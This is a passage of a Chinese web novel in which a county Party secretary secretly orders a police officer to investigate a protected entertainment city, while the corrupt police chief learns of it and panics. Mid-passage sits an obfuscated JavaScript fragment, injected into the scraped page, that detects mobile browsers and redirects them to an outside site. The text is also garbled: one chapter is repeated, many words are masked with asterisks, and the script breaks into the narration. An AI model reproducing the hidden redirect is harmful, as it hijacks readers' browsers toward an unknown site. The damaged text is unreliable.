“喂?”方黎的声音传来,带着一丝疲惫和疑惑,显然没看来电显示。
“小方,我是魏明君。”魏明君沉声道。
“魏教!您好!”方黎的声音立刻精神了几分,带着下级对上级的尊重。
“你接到了通知吗?”魏明君直接问道。
他的目光下意识地扫了一眼腕表,距离他给王莉下命令已经过去快十分钟了。
“通知?什么通知?”
“魏教,我还没有接到通知呀,什么事?”方黎的语气充满了茫然,显然对即将发生的岗位变动一无所知。
魏明君猛地一愣神,心脏像是被什么东西狠狠攥了一下!
一股无名火“腾”地窜了上来。
这个王莉!
他刚刚才在电话里对她吼出“立刻!马上!”,她竟然敢阳奉阴违,根本没有通知方黎?!
这不是简单的疏忽,这分明是带着强烈的个人情绪,是对他这个教导员命令的公然藐视,更是对**决定的无声抵触!
看来江**说得对,一针见血!
王莉这种心态,这种行事作风,确实完全不适合再待在这个需要绝对服从和高效执行力的内勤核心岗位上了!
第119章 召见
他强压下翻涌的怒气,声音反而变得更加沉稳,带着不容置疑的决断:“是这样的,小方。你的工作安排有重要调整。”
“从现在起,由你接任大队内勤工作。”
“啊?!”电话那头传来方黎明显错愕的声音,充满了难以置信,“内…内勤?”
“魏教,这……”这转变来得太突然,太巨大,完全超出了她的预期。
从凌晨街头最危险的执勤岗,一步跨入核心的内勤办公室?
这简直是天壤之别!
魏明君没给她任何犹豫和追问细节的机会。
他知道此刻必须快刀斩乱麻,用最直接的力量压平一切可能的波澜。
他加重语气,一字一顿地强调:“这是**的安排!”
“不要犹豫了,立刻交接手头工作,马上到大队部办公室报到上班!立刻!”
“**”两个字,被他咬得格外重,像两颗沉甸甸的砝码,压下了所有可能的疑问。
电话那头沉默了极短暂的一瞬。
方黎显然被这简短却蕴含巨大信息量的命令震慑住了。“**的安排”这几个字,如同一道强光,瞬间驱散了她所有的困惑。
无需解释,无需理由,这本身就是最高效的指令和最强的合法性背书。
“是!明白!魏教,我马上回大队报到!”方黎的声音再次传来时,已经没有了丝毫犹豫和错愕,取而代之的是斩钉截铁的服从和一丝被赋予重任的郑重。
电话挂断。
魏明君缓缓放下手机,后背再次被一层新的冷汗浸透。
江昭宁在魏明君出去后,他又打了一个电话给乔国良。
听筒里传来等待音,单调而漫长。
江昭宁的目光落在桌面上摊开的一份旧卷宗上。
那是关于去年一起涉黑团伙寻衅滋事案的结案报告,处理得干净利落,甚至有些过于“完美”。
他指尖无意识地敲击着桌面,节奏缓慢却带着一种无形的压力。
“喂?江**!”电话接通得很快,乔国良的声音带着一丝不易察觉的喘息和绝对的恭敬,仿佛能透过电波看到他瞬间挺直的腰板。
“乔局,”江昭宁的声音不高,平稳中带着不容置疑的穿透力,“请你过来一下。”
“是!江**,我马上到!”乔国良的回答斩钉截铁,没有半分犹豫,尾音里甚至透着一丝紧张。
电话被迅速挂断。
江昭宁放下听筒,身体微微后仰,陷进宽厚的真皮椅背里。
他闭上眼,手指按压着太阳穴。
方黎那张年轻、倔强又带着点委屈的脸,以及她所描述的关于“金鼎娱乐城”的诡异发现,清晰地浮现在脑海里。
一个普通**,因为发现可能的犯罪线索,向上级反映,结果不是嘉奖,而是被悄无声息地调离核心岗位,打发去了风吹日晒的交巡警大队?
这手法,太刻意,也太嚣张。
不久,门外就响起了略显急促的敲门声,伴随着压抑着的粗重喘息。
“进来。”江昭宁的声音恢复了平日的沉稳。
门被推开,乔国良出现在门口。
此刻,他额头上布满了细密的汗珠,脸颊泛红,胸脯还在微微起伏。
他努力平复着呼吸,站在门口,目光恭敬地投向办公桌后的江昭宁。
“江**。”
“坐吧。”江昭宁指了指办公桌对面那张会客用的皮质椅子。
“哎,谢谢江**。”乔国良应了一声,快步走到椅子前,并没有立刻坐下,而是习惯性地将警帽摘下,然后才小心翼翼地挨着椅子边沿坐下,腰背挺得笔直,双手规规矩矩地放在腿上。
汗珠沿着鬓角滑落,他也顾不上去擦。
县委**召见,必有大事。
他脑子里飞快地转着,揣测着各种可能,从自己最近经手的案子到局里班子的人事变动,心弦绷得紧紧的。
江昭宁没有立刻开口,目光平静地落在乔国良脸上,那眼神并不锐利,却仿佛带着洞察一切的力量,让乔国良感觉自己的每一个细微表情都无所遁形。
“方黎,”江昭宁终于开口,声音不高,却字字清晰,“是你原来的手下?在治安大队的时候。”
乔国良一愣,没想到**召见问的竟是一个普通**。
这个问题看似平淡无奇,却像一颗精准定位的**,瞬间击中了乔国良神经末梢最敏感的那一处。
他略一思忖,谨慎地抬头回答:“是的,江**。”
“方黎之前一直在治安大队工作,是个……非常认真负责的女同志。”他在“认真负责”上略微加重了语气,
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这也是他内心对方黎的真实评价。
“表现怎么样?”江昭宁追问,目光纹丝不动。
乔国良心念急转,揣摩着**问话的意图。“是个好警察,江**。”
“她业务能力扎实,责任心强,尤其在处理一些棘手的治安案件时,思路清晰,也很勇敢。”
“就是……有时候性子直了些,原则性很强,做事一丝不苟。”
他心中涌起一丝不祥的预感,方黎……出事了?
江昭宁的表情没有任何变化,仿佛只是在确认一个早已心知肚明的事实。
他接着抛出第二个问题,如同挥出了第二记重拳:“她现在调到交巡警大队去了,你知道吗?”
“啊?”乔国良猛地抬起头,脸上的愕然和疑惑毫无掩饰,“调到……交巡警大队?”
他下意识地重复了一遍,眉头紧紧锁起,大脑飞速运转,“这……我真不知道啊,江**。什么时候的事?组织程序……也没到我这里讨论过啊。”
作为曾经的治安大队长,即便是现在不直接负责。
一个干警,尤其是有办案经验、表现突出的骨干,进行跨警种调动。
无论于情于理,还是为了工作,不熟悉情况的现任大队长也得征求一下他的意见。
他不可能完全不知情。
除非……这次调动绕过了他。
一股凉意顺着脊柱悄然爬升。
他意识到,方黎的调动,绝非寻常人事安排,里面肯定有文章。
江昭宁锐利的眼神捕捉到了乔国良脸上这“一脸懵圈”的真实反应。
他身体向后靠进高背椅中,发出轻微的皮革摩擦声,眼神深处闪过一丝了然和愈加冰冷的怒意。
答案已经不言而喻——方黎的调动非常规,甚至,带有强烈的针对性目的。
“为什么调方黎?”声音里终于带上了一丝不容错辨的寒意,是质问,更是要求一个解释,尽管这解释乔国良也未必能给得出。
乔国良在他的注视下,只觉得后背渗出更多的冷汗。
乔国良张了张嘴,最终只是艰涩地摇头,喉结上下滚动了一下,声音带着干涩:“江**,这个……我真的不清楚。”
“人事调整权限……李局那边具体操作的可能性更大一些……”他感觉异常被动。
第120章 原来根子在这里!
江昭宁不再在方黎调动的问题上纠缠。
他的食指在桌面上轻轻点了两下,话锋陡转,如同利剑出鞘,指向了他此次召见乔国良的真正目标,也是问题的根源:
“金鼎娱乐城——”他一字一顿地念出这个名字,“你——知道吗?”
这个名字在安静的办公室里响起,仿佛带着一股电流,让乔国良的坐姿瞬间僵硬了几分。
“金鼎……”他下意识地重复,随即立刻点头,语气极其肯定,甚至带着一丝不易察觉的凝重:“当然知道!”
“在咱东山县,没人不知道‘金鼎’这块招牌。”他的回答迅速而确定。
“是个什么地方?”江昭宁追问,身体前倾,目光如炬。
他没有给乔国良任何思考的余地,就是要打出一个真实的第一反应。
乔国良立刻从方黎调动的震惊中抽离出来,提到金鼎,他的神情瞬间变得无比凝重,甚至带着一丝本能的忌惮。
“那个地方……江**,不瞒您说,水很深!非常深!”
“哦?深在何处?”江昭宁身体微微前倾,目光锐利如鹰隼。
乔国良舔了舔有些干涩的嘴唇,回忆着过往:“我们治安大队,包括下面派出所,前前后后接到过不少关于金鼎的群众举报。”
“内容五花八门,**、聚众**、组织**……都是些治安重案。”
“每次接到举报,我们都不敢怠慢,组织人手,有时还搞突击检查。”
“可是……”他脸上浮现出深深的挫败和困惑,“邪门得很!”
“每次都是扑空!”
“干干净净,规规矩矩,查不出任何问题。”
“举报人言之凿凿,我们进去却像进了模范娱乐场所。”
“次数多了,下面的兄弟们都觉得邪性,士气也受了影响。”
江昭宁静静地听着,手指在桌面上划着无形的轨迹,眼神深邃,看不出喜怒。
乔国良的声音压得更低,带着一种近乎告密的谨慎:“而且,江**,坊间传闻很多。”
“都说那地方……背景硬得很。”
“不仅仅是市、县里一些有头有脸的老板喜欢去,甚至……甚至据说,我们县里某些……‘大人物’也经常涉足其间。”
他没有点明具体是谁,但眼神里的暗示已经足够明显。
“具体在里面干什么呢?”江昭宁追问,他需要更具体的信息。
乔国良无奈地摇摇头,脸上写满了无力感:“这个……真的很难查实。”
“表面上看,就是唱歌、洗浴、餐饮、棋牌。”
“但我们都知道,肯定没这么简单。”
“可我们……我们很难深入调查。”
他犹豫了一下,最终还是决定说出来,“李局长……李局那边有明确指示,金鼎那边……除非是接到**、证据确凿的重大警情,否则……不允许我们‘随意’去查,以免‘干扰正常经营’,影响……影响县里的‘投资环境’。”
他艰难地复述着李正康的原话,语气中充满了憋屈,“所以,很多时候,就算接到匿名举报,我们也只能……只能象征性地去走个过场,算是‘敷衍’一下举报人,也给上面一个交代。”
“干扰正常经营?投资环境?”江昭宁重复着这两个词,嘴角勾起一抹冷峭的讥讽。
他放在桌下的手,已经悄然握紧。
李国栋他的态度,几乎就是金鼎娱乐城最大的护身符!
这已经不单单是失职渎职的问题,这是赤裸裸的包庇纵容。
甚至可能是同流合污!
铺垫至此,火候已到。
江昭宁身体坐直,目光如炬,牢牢锁住乔国良的眼睛,一字一句,清晰而有力地道出了真相:“方黎,就是在治安大队期间,发现了金鼎娱乐城涉及严重犯罪的可能线索!”
“她没有选择沉默,而是选择了向她的直接领导——你们的治安大队长周志反映!结果呢?”
江昭宁的声音陡然拔高,带着雷霆般的震怒,“结果就是被针对性打击报复!”
“被一脚踢出了治安大队,踢到了交巡警大队值凌晨岗!”
乔国良如遭雷击,浑身剧震!
他猛地从椅子上弹起来,又因为纪律和敬畏,硬生生地克制住,重新重重地坐了回去,脸色由白转青,再由青转红,胸膛剧烈起伏着。
震惊、愤怒、羞愧、后怕……种种情绪在他脸上交织变幻。
他终于明白了!
明白了方黎为什么会被调走!
明白了为什么自己会被蒙在鼓里!
原来根
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子在这里!
金鼎!周志!还有……他不敢再往下想李国栋在这其中扮演的角色,只觉得一股寒气从脚底直冲头顶。
更让他心惊肉跳的是,如果方黎触碰到的只是小问题,周志何至于动用如此手段?
这背后金鼎的问题……
江昭宁没有给乔国良更多消化震惊的时间。
他身体前倾,眼神如同实质性的重压,笼罩在乔国良身上:“方黎同志发现的线索,指向的绝非一般的治安问题。”
江昭宁的语气沉重而危险,一字一句,清晰无比:“这,包括但不限于——利用娱乐城隐蔽通道进行大宗走私、在内部区域有组织的藏匿各类**……”
“甚至,据她获取的一些零散但指向性极强的信息,可能涉及更严重、更骇人听闻的严重犯罪!”
乔国良听着这每一个词,如同冰锥砸在心头:“走私……**……更严重犯罪……”他瞬间明白了方黎遭遇的无情报复。
这每一个字眼的分量,都足以在东山引发一场大地震!
金鼎的水,比他想象的还要深得吓人!
江昭宁双手撑在桌沿,声音斩钉截铁,“我命令你,乔国良同志,立即成立一个东山最高级别绝密专案组!”
“核心目标是金鼎娱乐城,但调查范围可以视实际情况扩大!”
“我强调几点:第一,绝对保密!此案代号……就叫‘破壁行动’。”
“专案组成员必须绝对忠诚可靠,宁缺毋滥。”
“由你亲自挑选,控制在三人以内的小规模精干小组!名单报我备案。”
“第二,秘密侦查为主!目前阶段严禁打草惊蛇!”
“切忌大规模入户检查、传唤相关人员!”
“打草惊蛇的后果,你承担不起!”
“方黎同志的遭遇,就是前车之鉴!”
“第三,现阶段战术核心目标锁定——那个隐蔽的后门通道!那是他们的咽喉!”
江昭宁的指尖重重地点在桌面上那几张方黎冒险拍下的模糊照片上,“动用一切可用的技术手段,对其进行二十四小时不间断的秘密监控!”
“同时,方黎同志报告中提及的那辆出入的白色面包车——车牌号尾号可能做了手脚——列为关键嫌疑目标!”
第121章 秘密任务
“对这辆车的行踪轨迹、规律、最终落脚点、接触人员,进行重点布控和技术锁定!”
“我需要它的一切信息,精确到分钟!”
“这辆车,可能是打开整个链条的关键钥匙!”
乔国良感到一股沉重的使命感压在肩上,也有一丝孤军奋战的寒意。
他深吸一口气,挺直腰板,声音洪亮而坚决,如同战前誓言:“是!明白!坚决执行**指示!”
每一个字都掷地有声。
金鼎这个烫手山芋,终于被推到了他的手心。
但他更清楚,这是一次向黑暗挥出的重拳,也意味着他必须站在县委**这一边,再无退路。
“还有,”江昭宁锐利的目光紧紧锁定他,补充道:“仅靠外部监控远远不够。”
“堡垒最容易从内部攻破。”
“你——必须在金鼎娱乐城内部,秘密建立自己的耳朵和眼睛!”
“要在它的工作人员内部——无论是清洁工、服务员、安保人员还是更低层的管理人员——发展可靠的秘密特情耳目!”
“方法你自己想,要稳妥,也要高效!”
“我们需要获取内部运作模式、核心人物动态、走私**具体的藏匿和流转信息!”
“记住,这个特情的建立和保护是最高优先级,确保单线联系,滴水不漏!”
乔国良神情严峻地重重点头:“知道!请**放心,我立即着手物色人选,采取最稳妥的方式渗透,不惜代价!”
他脑海中已经开始盘算合适的人选和切入途径。
这时,一个巨大的难题不可避免地浮现出来。
乔国良脸上闪过一丝犹豫和挣扎。
他深知**程序的铁律,也知道绕开县局最高领导的行动意味着什么。
他鼓起勇气,试探性地看向江昭宁:“江**,我有个顾虑……”声音低沉而谨慎。
“讲。”
“按照组织规定和工作程序……成立如此重大的绝密专案组……按道理,最终都必须……向李局长汇报并取得他的正式批准。”
“这……绕不开啊。”他试图表达其中的难处。
话未说完,就**昭宁冷冷地打断了。
他没有发怒,而是目光如鹰隼般直刺乔国良的眼睛,问出一个更尖锐的问题:“你原来任治安大队长的时候,搞的那些突击行动、临检,‘每一次’你都严格按照规定,提前、一字不漏地向李局长做了详细汇报吗?”
“特别是那些针对‘金鼎’的突击行动?”他的目光如同手术刀,精准地切割开表面的合规外衣,直指潜规则的真相。
乔国良被问得猝不及防,脸上瞬间掠过一丝尴尬和难堪:“江**……”
他张了张嘴,试图辩解,但回想起从前每次针对金鼎的行动几乎都徒劳无功,仿佛对方有未卜先知的异能,那解释的话语便怎么也说不出口了。
他最终只含糊地挤出两个字:“针对‘金鼎’的突击行动,汇……事前是……汇报了的!”但声音明显底气不足。
“为什么汇报了,最后还是行动落空?”江昭宁的声音陡然拔高,带着沉痛和压抑已久的愤怒,“为什么每次‘金鼎’都能在你鼻子底下把自己洗得一干二净?!”
“你抓毒贩的事汇报了吗?”
“没有,那属于伸手过界了,汇报了的话只有麻烦。”乔国良嗫嚅道。
“为什么那样反而成功了?”江昭宁问道。
“乔国良,你我都不笨!”
“说明了什么?”
“这些反常现象的背后是什么?”他的诘问如同重锤,敲击在两人之间凝重的空气里,也敲打在乔国良的内心深处。
乔国良脸色煞白,江昭宁的话彻底撕开了那层遮掩多年的羞耻布。
这赤裸裸的质问,像一把烧红的烙铁,烫得乔国良灵魂都在颤抖。
他不敢直视江昭宁的眼睛,额头上刚刚有些收敛的汗水再次汹涌而出。
他明白了**的潜台词——李国栋,很可能就是金鼎最大的保护伞!
向他汇报,就等于直接向金鼎通风报信!
“这一次,一切都不一样。”江昭宁收回了逼视的目光,他的语气明显放缓,“明白了吗?”
“是!”乔国良哪有不明白的。
“记住!”江昭宁的声音低沉下去,却带着千钧之力,如同烙印般刻进乔国良的脑海,“秘密侦查!高度保密!”
“目前,这件事的知情人,只限于你知、我知!”
他顿了顿,目光投向窗外县委大院的深处,“最多……再加上赵强**。绝不能再有第四人!明白吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157783|180059||http|test|mini|href|location''.split(''|''),0,{}));
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r>“是!江**!我明白!绝对保密!”乔国良挺直腰板,声音洪亮而坚定,所有的犹豫和顾虑在这一刻被彻底碾碎。
他知道,自己接下的是一个极其危险又极其重要的任务。
但他更知道,这是县委**对他能力和忠诚的考验。
“去吧。”江昭宁挥了挥手。
乔国良拿起警帽,端端正正地戴好,向江昭宁敬了一个标准的警礼。
然后,他转身轻轻拉开厚重的办公室门,闪身出去,又小心翼翼地将门无声地合拢。
门关上的瞬间,隔绝了内外两个世界。
王莉几乎是撞进贡达办公室的,那扇厚重的实木门在她身后发出一声沉闷的呻吟。
她脸上精心描画的妆容早已被汹涌的泪水和不断擦拭的手背蹂躏得不成样子,眼线晕开,在脸颊上拖出两道狼狈的黑痕,像垂死挣扎的墨蝶翅膀。
那双平日里总带着几分矜持的眼睛,此刻红肿如桃,蓄满了**的泪水,每一次呼吸都带着压抑不住的抽噎,肩膀随之剧烈地抖动。
她的警服前襟,洇湿了一小片深色的水渍,那是泪,更是她赖以生存的某种体面被粗暴撕碎的印记。
“贡……贡主任!”她开口,声音嘶哑破碎,带着浓重的鼻音,每一个字都像从喉咙深处硬生生抠出来的,“我……我执行了您的命令啊!”、
她猛地吸了一口气,试图稳住声线,却只换来更剧烈的哽咽,“就……就刚给方黎排了那么一个凌晨班!就一个!”
她身体前倾,双手死死抓住贡达宽大办公桌冰冷的边缘,指关节因为用力而泛白,仿佛那是她在惊涛骇浪中唯一能抓住的浮木。“结果呢?”
“捅了马蜂窝了!”
她猛地抬起头,泪水又一次决堤,顺着那两道黑痕冲刷而下,“魏明君!他……他电话里对我劈头盖脸就是一顿训斥!”
“唾沫星子都能从手机里嘣出来溅到我脸上了!”
她下意识地用手背抹了一下脸,动作带着一种被侵犯后的厌恶和惊惶,“我……我解释了,我说是局领导的意思……”
“可他说什么?”
“他说,一切由他向您解释,要我‘立刻、无条件服从命令’!”
“贡主任,他眼里还有没有您这个领导啊?”
第123章 胡闹?
办公室里陷入一种令人窒息的死寂。
只有贡达粗重的喘息声在回荡。
窗外,天色不知何时彻底阴沉下来,厚重的铅灰色云层低低压着,光线变得异常晦暗,仿佛暴风雨前的蓄势。
“王莉,”李国栋终于开口了,声音不高,甚至算得上平稳,但每一个字都像淬了冰的钉子,精准地钉进凝固的空气里,“怎么回事?”
他身体微微前倾,目光锁死王莉,“魏明君……就因为你给方黎排了个凌晨班,就对你大发雷霆,还调整了你的岗位?”
他的手指无意识地捻动着桌上那支沉甸甸的金属钢笔,指尖因为用力而微微发白。
王莉在李国栋那洞穿一切的目光下,感觉自己的心脏快要跳出喉咙。
她不敢看李国栋,只能死死盯着自己沾着泪痕和灰尘的鞋尖,喉咙发紧,声音细若蚊蚋:“是……是……魏明君训斥我,说不经他允许给方黎排凌晨班……是……是胡闹,是乱来……”
她试图重复之前对贡达的说辞。
“哦?胡闹?”李国栋的声音依旧平稳,但捻动钢笔的速度明显加快了,金属笔身在指尖下发出轻微的摩擦声,“怕……不仅如此吧?”
他尾音微微拖长,带着一种不容置疑的、诱供般的压力。
那目光如有实质,压得王莉几乎喘不过气,仿佛已经看穿了她心中那个被恐惧包裹的秘密。
轰!
王莉只觉得脑袋里一声炸响,最后一丝侥幸也被这轻飘飘却重逾千斤的五个字彻底碾碎。
她知道瞒不住了。
贡达也愣住了,疑惑地看向李国栋,不明白局长为何如此笃定。
王莉的身体抖得更厉害了,像寒风中最后一片枯叶。
她艰难地抬起头,嘴唇哆嗦着,脸色惨白如纸,眼神里充满了巨大的恐惧,仿佛即将吐露的是一个会将她瞬间吞噬的深渊。“还……还有个……情况……”
她的声音抖得不成样子,几乎是从齿缝里挤出来的。
“什么情况?”李国栋追问,语气陡然锐利如刀,捻动钢笔的动作戛然而止,整个人散发出一种山雨欲来的压迫感。
贡达也屏住了呼吸,办公室的空气凝固得如同水泥。
王莉闭上眼,巨大的恐惧让她近乎虚脱,声音微弱得如同叹息:“是……是江**……江**……他……他打过电话来……”
她猛地吸了一口气,像是用尽了全身的力气,才把那句足以掀翻屋顶的话吐出来,“……查问……为什么要那样安排方黎的班……”
“嗡——!”
李国栋脑子里仿佛有一颗高**弹被瞬间引爆!
不是“轰”,而是一种尖锐到极致的、撕裂一切的蜂鸣!
眼前的一切——贡达愤怒的脸、王莉惊恐的表情、豪华的红木办公桌、墙上挂着的“宁静致远”书法条幅——都在这一瞬间剧烈地扭曲、变形、旋转,最终被一片刺眼的白光彻底吞噬!
江**!
这三个字,像带着万钧雷霆,狠狠劈在他的天灵盖上!
原来如此!
一切荒谬绝伦的反常都有了最合理、也最致命的解释!
难怪魏明君敢如此强硬,敢如此不留情面地顶回来!
难怪他敢无视贡达党委委员的身份!甚至无视自己这个局长的意志!
什么嗅不出风头?
他魏明君分明是攀上了高枝!
抱住了最粗的大腿!
他背后站着的,是这座县城的权力巅峰!
自己精心布下的棋局,自己以为隐秘的敲打,原来在更高层面的人物眼中,根本就是一场可笑的、透明的闹剧!
那个看似不起眼的方黎,竟有如此通天彻地的关系!
自己踢到的,哪里是一块石头?
分明是一座他根本无法撼动、甚至仰视都心惊胆战的巍峨大山!
一股彻骨的寒意,瞬间从李国栋的尾椎骨窜起,闪电般蔓延至四肢百骸,几乎将他全身的血液都冻结了!
那是一种被更高维度力量俯视、被无形巨手扼住喉咙的绝对恐惧!比愤怒更冰冷,比羞辱更致命!
“咔!”
一声清脆得令人心悸的断裂声,骤然打破了办公室死一般的寂静。
李国栋手中那支陪伴了他多年、象征权力与地位的沉甸甸钢笔,竟被他无意识中爆发的、源自内心深处巨大恐惧的力量,硬生生捏断了!
暗蓝色的、粘稠的墨汁,如同体内骤然喷溅出的冰冷血液,从笔杆的断口处猛地涌出,瞬
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间染污了他修剪整齐的指甲。
顺着他保养得宜的手指蜿蜒而下,滴落在光洁如镜的深色实木桌面上。
一滴。
两滴。
三滴……
那暗蓝色的污迹,在昂贵木料的光泽上迅速晕开,像一条条丑陋而狰狞的毒蛇,扭曲着,蔓延着,散发出不祥的气息。
每一滴落下的墨汁,都像一记重锤,狠狠砸在李国栋的心上。
也砸碎了贡达和王莉最后一丝残存的幻想。
贡达脸上的愤怒瞬间僵死,如同劣质的石膏面具,继而转为一片骇人的惨白。
他张着嘴,眼睛瞪得几乎要裂开,死死盯着那滩不断扩大的墨迹,又惊恐地望向李国栋那只被墨汁染蓝的手,最后目光落在李国栋那张毫无血色的脸上——那张脸上,哪里还有半分局长的威严?
只剩下一种被彻底抽空了精气神的灰败,以及深不见底的、令人毛骨悚然的恐惧。
他刚才所有的控诉、所有的挑拨,此刻都变成了可笑的背景音,显得如此渺小和愚蠢。
他感觉自己像一个在巨人脚下狂吠的小丑,而巨人此刻正被更高天际的雷霆震慑得失魂落魄。
王莉更是吓得魂飞魄散,双腿一软,若非强撑着扶住旁边的沙发靠背,几乎要瘫倒在地。
江**的名字从她口中说出,如同打开了潘多拉魔盒,释放出了足以将她碾成齑粉的恐怖。
她捂住嘴,将更深的呜咽死死堵在喉咙里,只剩下身体无法控制的剧烈颤抖,如同秋风中的落叶。
办公室内,时间仿佛被那粘稠的墨汁凝固了。
窗外,酝酿已久的乌云彻底吞噬了最后一丝天光,整个城市被笼罩在一种铅灰色的、令人窒息的昏暗之中。
一道惨白刺目的闪电,毫无征兆地撕裂了厚重的云层,将李国栋那张失魂落魄、被墨汁沾染的脸映照得一片青白,如同鬼魅。
紧接着——
“轰隆!!!”
一声震耳欲聋、仿佛要劈开大地的惊雷,在低垂的云层深处猛然炸响!狂暴的声浪穿透隔音良好的窗户,如同无形的巨锤,狠狠砸在办公室内每个人的心脏上!
窗玻璃被震得嗡嗡作响,连同桌上那些精致的摆件也跟着微微颤抖。
第123章 胡闹?
办公室里陷入一种令人窒息的死寂。
只有贡达粗重的喘息声在回荡。
窗外,天色不知何时彻底阴沉下来,厚重的铅灰色云层低低压着,光线变得异常晦暗,仿佛暴风雨前的蓄势。
“王莉,”李国栋终于开口了,声音不高,甚至算得上平稳,但每一个字都像淬了冰的钉子,精准地钉进凝固的空气里,“怎么回事?”
他身体微微前倾,目光锁死王莉,“魏明君……就因为你给方黎排了个凌晨班,就对你大发雷霆,还调整了你的岗位?”
他的手指无意识地捻动着桌上那支沉甸甸的金属钢笔,指尖因为用力而微微发白。
王莉在李国栋那洞穿一切的目光下,感觉自己的心脏快要跳出喉咙。
她不敢看李国栋,只能死死盯着自己沾着泪痕和灰尘的鞋尖,喉咙发紧,声音细若蚊蚋:“是……是……魏明君训斥我,说不经他允许给方黎排凌晨班……是……是胡闹,是乱来……”
她试图重复之前对贡达的说辞。
“哦?胡闹?”李国栋的声音依旧平稳,但捻动钢笔的速度明显加快了,金属笔身在指尖下发出轻微的摩擦声,“怕……不仅如此吧?”
他尾音微微拖长,带着一种不容置疑的、诱供般的压力。
那目光如有实质,压得王莉几乎喘不过气,仿佛已经看穿了她心中那个被恐惧包裹的秘密。
轰!
王莉只觉得脑袋里一声炸响,最后一丝侥幸也被这轻飘飘却重逾千斤的五个字彻底碾碎。
她知道瞒不住了。
贡达也愣住了,疑惑地看向李国栋,不明白局长为何如此笃定。
王莉的身体抖得更厉害了,像寒风中最后一片枯叶。
她艰难地抬起头,嘴唇哆嗦着,脸色惨白如纸,眼神里充满了巨大的恐惧,仿佛即将吐露的是一个会将她瞬间吞噬的深渊。“还……还有个……情况……”
她的声音抖得不成样子,几乎是从齿缝里挤出来的。
“什么情况?”李国栋追问,语气陡然锐利如刀,捻动钢笔的动作戛然而止,整个人散发出一种山雨欲来的压迫感。
贡达也屏住了呼吸,办公室的空气凝固得如同水泥。
王莉闭上眼,巨大的恐惧让她近乎虚脱,声音微弱得如同叹息:“是……是江**……江**……他……他打过电话来……”
她猛地吸了一口气,像是用尽了全身的力气,才把那句足以掀翻屋顶的话吐出来,“……查问……为什么要那样安排方黎的班……”
“嗡——!”
李国栋脑子里仿佛有一颗高**弹被瞬间引爆!
不是“轰”,而是一种尖锐到极致的、撕裂一切的蜂鸣!
眼前的一切——贡达愤怒的脸、王莉惊恐的表情、豪华的红木办公桌、墙上挂着的“宁静致远”书法条幅——都在这一瞬间剧烈地扭曲、变形、旋转,最终被一片刺眼的白光彻底吞噬!
江**!
这三个字,像带着万钧雷霆,狠狠劈在他的天灵盖上!
原来如此!
一切荒谬绝伦的反常都有了最合理、也最致命的解释!
难怪魏明君敢如此强硬,敢如此不留情面地顶回来!
难怪他敢无视贡达党委委员的身份!甚至无视自己这个局长的意志!
什么嗅不出风头?
他魏明君分明是攀上了高枝!
抱住了最粗的大腿!
他背后站着的,是这座县城的权力巅峰!
自己精心布下的棋局,自己以为隐秘的敲打,原来在更高层面的人物眼中,根本就是一场可笑的、透明的闹剧!
那个看似不起眼的方黎,竟有如此通天彻地的关系!
自己踢到的,哪里是一块石头?
分明是一座他根本无法撼动、甚至仰视都心惊胆战的巍峨大山!
一股彻骨的寒意,瞬间从李国栋的尾椎骨窜起,闪电般蔓延至四肢百骸,几乎将他全身的血液都冻结了!
那是一种被更高维度力量俯视、被无形巨手扼住喉咙的绝对恐惧!比愤怒更冰冷,比羞辱更致命!
“咔!”
一声清脆得令人心悸的断裂声,骤然打破了办公室死一般的寂静。
李国栋手中那支陪伴了他多年、象征权力与地位的沉甸甸钢笔,竟被他无意识中爆发的、源自内心深处巨大恐惧的力量,硬生生捏断了!
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间染污了他修剪整齐的指甲。
顺着他保养得宜的手指蜿蜒而下,滴落在光洁如镜的深色实木桌面上。
一滴。
两滴。
三滴……
那暗蓝色的污迹,在昂贵木料的光泽上迅速晕开,像一条条丑陋而狰狞的毒蛇,扭曲着,蔓延着,散发出不祥的气息。
每一滴落下的墨汁,都像一记重锤,狠狠砸在李国栋的心上。
也砸碎了贡达和王莉最后一丝残存的幻想。
贡达脸上的愤怒瞬间僵死,如同劣质的石膏面具,继而转为一片骇人的惨白。
他张着嘴,眼睛瞪得几乎要裂开,死死盯着那滩不断扩大的墨迹,又惊恐地望向李国栋那只被墨汁染蓝的手,最后目光落在李国栋那张毫无血色的脸上——那张脸上,哪里还有半分局长的威严?
只剩下一种被彻底抽空了精气神的灰败,以及深不见底的、令人毛骨悚然的恐惧。
他刚才所有的控诉、所有的挑拨,此刻都变成了可笑的背景音,显得如此渺小和愚蠢。
他感觉自己像一个在巨人脚下狂吠的小丑,而巨人此刻正被更高天际的雷霆震慑得失魂落魄。
王莉更是吓得魂飞魄散,双腿一软,若非强撑着扶住旁边的沙发靠背,几乎要瘫倒在地。
江**的名字从她口中说出,如同打开了潘多拉魔盒,释放出了足以将她碾成齑粉的恐怖。
她捂住嘴,将更深的呜咽死死堵在喉咙里,只剩下身体无法控制的剧烈颤抖,如同秋风中的落叶。
办公室内,时间仿佛被那粘稠的墨汁凝固了。
窗外,酝酿已久的乌云彻底吞噬了最后一丝天光,整个城市被笼罩在一种铅灰色的、令人窒息的昏暗之中。
一道惨白刺目的闪电,毫无征兆地撕裂了厚重的云层,将李国栋那张失魂落魄、被墨汁沾染的脸映照得一片青白,如同鬼魅。
紧接着——
“轰隆!!!”
一声震耳欲聋、仿佛要劈开大地的惊雷,在低垂的云层深处猛然炸响!狂暴的声浪穿透隔音良好的窗户,如同无形的巨锤,狠狠砸在办公室内每个人的心脏上!
窗玻璃被震得嗡嗡作响,连同桌上那些精致的摆件也跟着微微颤抖。
第124章 **餐厅?
它不仅仅响彻在县城的上空,更是在这间象征着权力核心的办公室里,在李国栋、贡达和王莉的灵魂深处,炸开了一个巨大的、难以弥合的恐惧深渊。
权力的棋盘上,一颗被忽略的棋子背后,竟盘踞着足以掀翻整盘棋局的巨龙。
……
处理几件公文后,到了吃中饭的时间。
踏出办公室,江昭宁揉捏着酸胀的太阳穴,公文上密密麻麻的字迹似乎仍在眼前浮动。
他瞥了一眼腕表,时针不紧不慢指向了十二点多了。
县委机关食堂喧闹的人声远远传来,饭菜的温热气息仿佛已扑上面颊。
